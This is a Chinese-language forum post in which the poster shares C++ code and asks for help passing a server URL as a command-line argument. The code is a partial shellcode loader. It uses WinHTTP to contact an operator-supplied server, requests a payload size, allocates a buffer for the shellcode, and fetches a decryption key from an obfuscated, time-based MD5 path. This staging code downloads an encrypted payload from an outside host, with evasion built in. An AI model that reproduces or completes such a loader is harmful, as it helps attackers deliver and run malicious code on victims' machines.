|  | 
 
 
 楼主|
发表于 2021-4-12 17:19:38
|
显示全部楼层 
| 本帖最后由 我叫学得会 于 2021-4-12 17:34 编辑 
 
 复制代码std::string Request(std::string target, std::string path) {                                              //发包调用 target 就是我们获得主函数的参数
        DWORD dwSize = 0;
        DWORD dwDownloaded = 0;
        LPSTR pszOutBuffer;
        BOOL  bResults = FALSE;
        BOOL  useSSL = FALSE;
        INTERNET_PORT port;
        HINTERNET  hSession = NULL,
                hConnect = NULL,
                hRequest = NULL;
        std::string reqResult;
        
        EdUrlParser* url = EdUrlParser::parseUrl(target);
        
        std::string p = url->port;
        if (p.length() > 1) {
                
                //std::cout <<p <<"   "<<p.substr(2) << std::endl;
                port = std::atoi(p.c_str());
                
        }
        if (url->scheme == "https") {
                useSSL = TRUE;
                if (url->port == "") {
                        port = 443;
                }
        }
        else {
                if (url->port == "")
                        port = 80;
        }
        std::wstring h = std::wstring(url->hostName.begin(), url->hostName.end());
        std::string strBasePath = url->path;
        char last = strBasePath.back();
        if (strcmp(&last,"/")) {
                strBasePath += "/";
        }
        strBasePath += path;
        std::cout << "request path:" << strBasePath <<"    port:"<< port<<std::endl;
        std::wstring basePath = std::wstring(strBasePath.begin(), strBasePath.end());
        wchar_t* host = (wchar_t*)h.c_str();
        wchar_t* object = (wchar_t*)basePath.c_str();
        // Use WinHttpOpen to obtain a session handle.
        hSession = WinHttpOpen(L"WinHTTP Example/1.0",
                WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
                WINHTTP_NO_PROXY_NAME,
                WINHTTP_NO_PROXY_BYPASS, 0);
        // Specify an HTTP server.
        if (hSession)
                hConnect = WinHttpConnect(hSession, host,
                        port, 0);
        // Create an HTTP request handle.
        if (hConnect)
                hRequest = WinHttpOpenRequest(hConnect, L"GET", object,
                        NULL, WINHTTP_NO_REFERER,
                        WINHTTP_DEFAULT_ACCEPT_TYPES,
                        useSSL ? WINHTTP_FLAG_SECURE : 0);
....Request模块
下面是调用:
std::string GenerateUri()
{
        time_t myt = time(NULL);
        int key = int(int(myt) / 100);
        std::string u = string(obscure) + std::to_string(key);
        return MD5_(u).toStr();
}
bool GetShellCodeSize()
{
        
        string res = Request(target,"my/get_size");                                           //函数调用 int main 参数里的值
        if (res=="")return false;
        shellcode_size = std::atoi(res.c_str());
        shellcode = (char*)malloc(shellcode_size);
        if (shellcode != 0) {
                return true;
        }
        else {
                return false;
        }
}
std::string GetKey()
{
        if (GetShellCodeSize() == false) {
                return "";
        }
        
        
        string res = Request(target,GenerateUri());                           //获取网页密钥,发包int main 的值
        return res;
}
string target;                                     //  存放 参数 就是请求的url值
int main(int argc,char* argv[])                 //无参数执行很顺利,改为有参我人都傻了,原本在cdm调用此程序输入的是Base64,想再加个void base64encode () 然后ruturn target; 接下来其他程序就顺步走了,可是还没解密呢,改指针我人都傻了
{  
        
        if (argc < 2)
        {
                return -1;
        }
        target.assign(argv[1]);
        Invoke();                                //把琐碎一些列执行模块子函数都封装在这里了
        return 0;
        
        
        
} 
 | 
 |